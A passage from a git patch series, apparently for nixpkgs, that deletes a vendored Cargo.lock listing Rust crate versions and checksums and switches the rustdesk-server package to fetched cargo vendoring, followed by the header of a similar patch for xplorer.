-dependencies = [
- "itoa",
- "libc",
- "num_threads",
- "quickcheck",
- "time-macros",
-]
-
-[[package]]
-name = "time-macros"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42657b1a6f4d817cda8e7a0ace261fe0cc946cf3a80314390b22cc61ae080792"
-
-[[package]]
-name = "tinyvec"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
-dependencies = [
- "tinyvec_macros",
-]
-
-[[package]]
-name = "tinyvec_macros"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c"
-
-[[package]]
-name = "tokio"
-version = "1.43.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d61fa4ffa3de412bfea335c6ecff681de2b609ba3c77ef3e00e521813a9ed9e"
-dependencies = [
- "backtrace",
- "bytes",
- "libc",
- "mio",
- "parking_lot 0.12.0",
- "pin-project-lite",
- "signal-hook-registry",
- "socket2 0.5.8",
- "tokio-macros",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "tokio-macros"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 2.0.96",
-]
-
-[[package]]
-name = "tokio-native-tls"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2"
-dependencies = [
- "native-tls",
- "tokio",
-]
-
-[[package]]
-name = "tokio-rustls"
-version = "0.23.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c43ee83903113e03984cb9e5cebe6c04a5116269e900e3ddba8f068a62adda59"
-dependencies = [
- "rustls 0.20.4",
- "tokio",
- "webpki",
-]
-
-[[package]]
-name = "tokio-rustls"
-version = "0.24.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081"
-dependencies = [
- "rustls 0.21.12",
- "tokio",
-]
-
-[[package]]
-name = "tokio-rustls"
-version = "0.26.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f6d0975eaace0cf0fcadee4e4aaa5da15b5c079146f2cffb67c113be122bf37"
-dependencies = [
- "rustls 0.23.21",
- "tokio",
-]
-
-[[package]]
-name = "tokio-socks"
-version = "0.5.2-1"
-source = "git+https://github.com/rustdesk-org/tokio-socks#94e97c6d7c93b0bcbfa54f2dc397c1da0a6e43d3"
-dependencies = [
- "bytes",
- "either",
- "futures-core",
- "futures-sink",
- "futures-util",
- "pin-project",
- "thiserror",
- "tokio",
- "tokio-util",
-]
-
-[[package]]
-name = "tokio-socks"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d4770b8024672c1101b3f6733eab95b18007dbe0847a8afe341fcf79e06043f"
-dependencies = [
- "either",
- "futures-util",
- "thiserror",
- "tokio",
-]
-
-[[package]]
-name = "tokio-stream"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50145484efff8818b5ccd256697f36863f587da82cf8b409c53adf1e840798e3"
-dependencies = [
- "futures-core",
- "pin-project-lite",
- "tokio",
-]
-
-[[package]]
-name = "tokio-tungstenite"
-version = "0.17.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06cda1232a49558c46f8a504d5b93101d42c0bf7f911f12a105ba48168f821ae"
-dependencies = [
- "futures-util",
- "log",
- "tokio",
- "tungstenite",
-]
-
-[[package]]
-name = "tokio-util"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0edfdeb067411dba2044da6d1cb2df793dd35add7888d73c16e3381ded401764"
-dependencies = [
- "bytes",
- "futures-core",
- "futures-io",
- "futures-sink",
- "futures-util",
- "pin-project-lite",
- "slab",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "toml"
-version = "0.5.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "toml"
-version = "0.7.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257"
-dependencies = [
- "serde",
- "serde_spanned",
- "toml_datetime",
- "toml_edit",
-]
-
-[[package]]
-name = "toml_datetime"
-version = "0.6.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0dd7358ecb8fc2f8d014bf86f6f638ce72ba252a2c3a2572f2a795f1d23efb41"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "toml_edit"
-version = "0.19.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421"
-dependencies = [
- "indexmap 2.7.0",
- "serde",
- "serde_spanned",
- "toml_datetime",
- "winnow",
-]
-
-[[package]]
-name = "tower"
-version = "0.4.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a89fd63ad6adf737582df5db40d286574513c69a11dac5214dc3b5603d6713e"
-dependencies = [
- "futures-core",
- "futures-util",
- "pin-project",
- "pin-project-lite",
- "tokio",
- "tokio-util",
- "tower-layer",
- "tower-service",
- "tracing",
-]
-
-[[package]]
-name = "tower-http"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d342c6d58709c0a6d48d48dabbb62d4ef955cf5f0f3bbfd845838e7ae88dbae"
-dependencies = [
- "bitflags 1.3.2",
- "bytes",
- "futures-core",
- "futures-util",
- "http",
- "http-body",
- "http-range-header",
- "httpdate",
- "mime",
- "mime_guess",
- "percent-encoding",
- "pin-project-lite",
- "tokio",
- "tokio-util",
- "tower",
- "tower-layer",
- "tower-service",
- "tracing",
-]
-
-[[package]]
-name = "tower-layer"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "343bc9466d3fe6b0f960ef45960509f84480bf4fd96f92901afe7ff3df9d3a62"
-
-[[package]]
-name = "tower-service"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "360dfd1d6d30e05fda32ace2c8c70e9c0a9da713275777f5a4dbb8a1893930c6"
-
-[[package]]
-name = "tracing"
-version = "0.1.41"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
-dependencies = [
- "log",
- "pin-project-lite",
- "tracing-attributes",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-attributes"
-version = "0.1.28"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "395ae124c09f9e6918a2310af6038fba074bcf474ac352496d5910dd59a2226d"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 2.0.96",
-]
-
-[[package]]
-name = "tracing-core"
-version = "0.1.33"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e672c95779cf947c5311f83787af4fa8fffd12fb27e4993211a84bdfd9610f9c"
-dependencies = [
- "once_cell",
-]
-
-[[package]]
-name = "try-lock"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642"
-
-[[package]]
-name = "tungstenite"
-version = "0.17.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d96a2dea40e7570482f28eb57afbe42d97551905da6a9400acc5c328d24004f5"
-dependencies = [
- "base64 0.13.0",
- "byteorder",
- "bytes",
- "http",
- "httparse",
- "log",
- "rand",
- "sha-1",
- "thiserror",
- "url",
- "utf-8",
-]
-
-[[package]]
-name = "typenum"
-version = "1.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987"
-
-[[package]]
-name = "unicase"
-version = "2.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50f37be617794602aabbeee0be4f259dc1778fabe05e2d67ee8f79326d5cb4f6"
-dependencies = [
- "version_check",
-]
-
-[[package]]
-name = "unicode-bidi"
-version = "0.3.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "adb9e6ca4f869e1180728b7950e35922a7fc6397f7b641499e8f3ef06e50dc83"
-
-[[package]]
-name = "unicode-normalization"
-version = "0.1.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d54590932941a9e9266f0832deed84ebe1bf2e4c9e4a3554d393d18f5e854bf9"
-dependencies = [
- "tinyvec",
-]
-
-[[package]]
-name = "unicode-segmentation"
-version = "1.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99"
-
-[[package]]
-name = "unicode-width"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3ed742d4ea2bd1176e236172c8429aaf54486e7ac098db29ffe6529e0ce50973"
-
-[[package]]
-name = "unicode-xid"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc72304796d0818e357ead4e000d19c9c174ab23dc11093ac919054d20a6a7fc"
-
-[[package]]
-name = "unicode-xid"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "957e51f3646910546462e67d5f7599b9e4fb8acdd304b087a6494730f9eebf04"
-
-[[package]]
-name = "unicode_categories"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "39ec24b3121d976906ece63c9daad25b85969647682eee313cb5779fdd69e14e"
-
-[[package]]
-name = "untrusted"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a"
-
-[[package]]
-name = "untrusted"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1"
-
-[[package]]
-name = "url"
-version = "2.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a507c383b2d33b5fc35d1861e77e6b383d158b2da5e14fe51b83dfedf6fd578c"
-dependencies = [
- "form_urlencoded",
- "idna",
- "matches",
- "percent-encoding",
-]
-
-[[package]]
-name = "utf-8"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
-
-[[package]]
-name = "uuid"
-version = "1.12.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "744018581f9a3454a9e15beb8a33b017183f1e7c0cd170232a2d1453b23a51c4"
-dependencies = [
- "getrandom",
-]
-
-[[package]]
-name = "vcpkg"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
-
-[[package]]
-name = "vec_map"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191"
-
-[[package]]
-name = "version_check"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-
-[[package]]
-name = "walkdir"
-version = "2.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56"
-dependencies = [
- "same-file",
- "winapi",
- "winapi-util",
-]
-
-[[package]]
-name = "want"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0"
-dependencies = [
- "log",
- "try-lock",
-]
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "wasm-bindgen"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5"
-dependencies = [
- "cfg-if",
- "once_cell",
- "rustversion",
- "wasm-bindgen-macro",
-]
-
-[[package]]
-name = "wasm-bindgen-backend"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6"
-dependencies = [
- "bumpalo",
- "log",
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 2.0.96",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-futures"
-version = "0.4.50"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61"
-dependencies = [
- "cfg-if",
- "js-sys",
- "once_cell",
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "wasm-bindgen-macro"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407"
-dependencies = [
- "quote 1.0.38",
- "wasm-bindgen-macro-support",
-]
-
-[[package]]
-name = "wasm-bindgen-macro-support"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 2.0.96",
- "wasm-bindgen-backend",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-shared"
-version = "0.2.100"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "web-sys"
-version = "0.3.77"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2"
-dependencies = [
- "js-sys",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "webpki"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f095d78192e208183081cc07bc5515ef55216397af48b873e5edcd72637fa1bd"
-dependencies = [
- "ring 0.16.20",
- "untrusted 0.7.1",
-]
-
-[[package]]
-name = "webpki-roots"
-version = "0.22.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1c760f0d366a6c24a02ed7816e23e691f5d92291f94d15e836006fd11b04daf"
-dependencies = [
- "webpki",
-]
-
-[[package]]
-name = "webpki-roots"
-version = "0.25.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f20c57d8d7db6d3b86154206ae5d8fba62dd39573114de97c2cb0578251f8e1"
-
-[[package]]
-name = "webpki-roots"
-version = "0.26.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d642ff16b7e79272ae451b7322067cdc17cadf68c23264be9d94a32319efe7e"
-dependencies = [
- "rustls-pki-types",
-]
-
-[[package]]
-name = "which"
-version = "4.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c4fb54e6113b6a8772ee41c3404fb0301ac79604489467e0a9ce1f3e97c24ae"
-dependencies = [
- "either",
- "lazy_static",
- "libc",
-]
-
-[[package]]
-name = "whoami"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "524b58fa5a20a2fb3014dd6358b70e6579692a56ef6fce928834e488f42f65e8"
-dependencies = [
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-util"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "windows"
-version = "0.51.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca229916c5ee38c2f2bc1e9d8f04df975b4bd93f9955dc69fabb5d91270045c9"
-dependencies = [
- "windows-core 0.51.1",
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.51.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64"
-dependencies = [
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2"
-dependencies = [
- "windows_aarch64_msvc 0.36.1",
- "windows_i686_gnu 0.36.1",
- "windows_i686_msvc 0.36.1",
- "windows_x86_64_gnu 0.36.1",
- "windows_x86_64_msvc 0.36.1",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
-dependencies = [
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.59.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
-dependencies = [
- "windows_aarch64_gnullvm 0.48.5",
- "windows_aarch64_msvc 0.48.5",
- "windows_i686_gnu 0.48.5",
- "windows_i686_msvc 0.48.5",
- "windows_x86_64_gnu 0.48.5",
- "windows_x86_64_gnullvm 0.48.5",
- "windows_x86_64_msvc 0.48.5",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
-dependencies = [
- "windows_aarch64_gnullvm 0.52.6",
- "windows_aarch64_msvc 0.52.6",
- "windows_i686_gnu 0.52.6",
- "windows_i686_gnullvm",
- "windows_i686_msvc 0.52.6",
- "windows_x86_64_gnu 0.52.6",
- "windows_x86_64_gnullvm 0.52.6",
- "windows_x86_64_msvc 0.52.6",
-]
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
-
-[[package]]
-name = "windows_i686_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
-
-[[package]]
-name = "winnow"
-version = "0.5.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "winreg"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2986deb581c4fe11b621998a5e53361efe6b48a151178d0cd9eeffa4dc6acc9"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "winreg"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "76a1a57ff50e9b408431e8f97d5456f2807f8eb2a2cd79b06068fc87f8ecf189"
-dependencies = [
- "cfg-if",
- "winapi",
-]
-
-[[package]]
-name = "winreg"
-version = "0.50.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1"
-dependencies = [
- "cfg-if",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "zeroize"
-version = "1.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde"
-
-[[package]]
-name = "zstd"
-version = "0.13.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fcf2b778a664581e31e389454a7072dab1647606d44f7feea22cd5abb9c9f3f9"
-dependencies = [
- "zstd-safe",
-]
-
-[[package]]
-name = "zstd-safe"
-version = "7.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "54a3ab4db68cea366acc5c897c7b4d4d1b8994a9cd6e6f841f8964566a419059"
-dependencies = [
- "zstd-sys",
-]
-
-[[package]]
-name = "zstd-sys"
-version = "2.0.13+zstd.1.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38ff0f21cfee8f97d94cef41359e0c89aa6113028ab0291aa8ca0038995a95aa"
-dependencies = [
- "cc",
- "pkg-config",
-]
diff --git a/pkgs/by-name/ru/rustdesk-server/package.nix b/pkgs/by-name/ru/rustdesk-server/package.nix
index b561f3525b2d..33fb44e5e207 100644
--- a/pkgs/by-name/ru/rustdesk-server/package.nix
+++ b/pkgs/by-name/ru/rustdesk-server/package.nix
@@ -22,18 +22,8 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  cargoLock = {
-    lockFile = ./Cargo.lock;
-    outputHashes = {
-      "async-speed-limit-0.3.1" = "sha256-iOel6XA07RPrBjQAFLnxXX4VBpDrYZaqQc9clnsOorI=";
-      "confy-0.4.0-2" = "sha256-V7BCKISrkJIxWC3WT5+B5Vav86YTQvdO9TO6A++47FU=";
-      "default_net-0.1.0" = "sha256-wwVcnS99I1NJFeSihy5YrB5p0y+OHXTX81DQ+TtyFBU=";
-      "machine-uid-0.3.0" = "sha256-rEOyNThg6p5oqE9URnxSkPtzyW8D4zKzLi9pAnzTElE=";
-      "reqwest-0.11.23" = "sha256-kEUT+gs4ziknDiGdPMLnj5pmxC5SBpLopZ8jZ34GDWc=";
-      "sysinfo-0.29.10" = "sha256-/UsFAvlWs/F7X1xT+97Fx+pnpCguoPHU3hTynqYMEs4=";
-      "tokio-socks-0.5.2-1" = "sha256-i1dfNatqN4dinMcyAdLhj9hJWVsT10OWpCXsxl7pifI=";
-    };
-  };
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-U1LTnqi2iEsm2U7t0Fr4VJWLo1MdQmeTKrPsNqRWap0=";
 
   nativeBuildInputs = [
     pkg-config

From d54a13660cd9723c41907d6d35971ad1ca75737e Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 14 May 2025 00:54:28 +0200
Subject: [PATCH 0019/4511] xplorer: don't vendor Cargo.lock

(cherry picked from commit 15b7f4767f747d5217be506e0fbc4169f0233b4f)
---
 pkgs/by-name/xp/xplorer/Cargo.lock  | 4672 ---------------------------
 pkgs/by-name/xp/xplorer/package.nix |   12 +-
 2 files changed, 2 insertions(+), 4682 deletions(-)
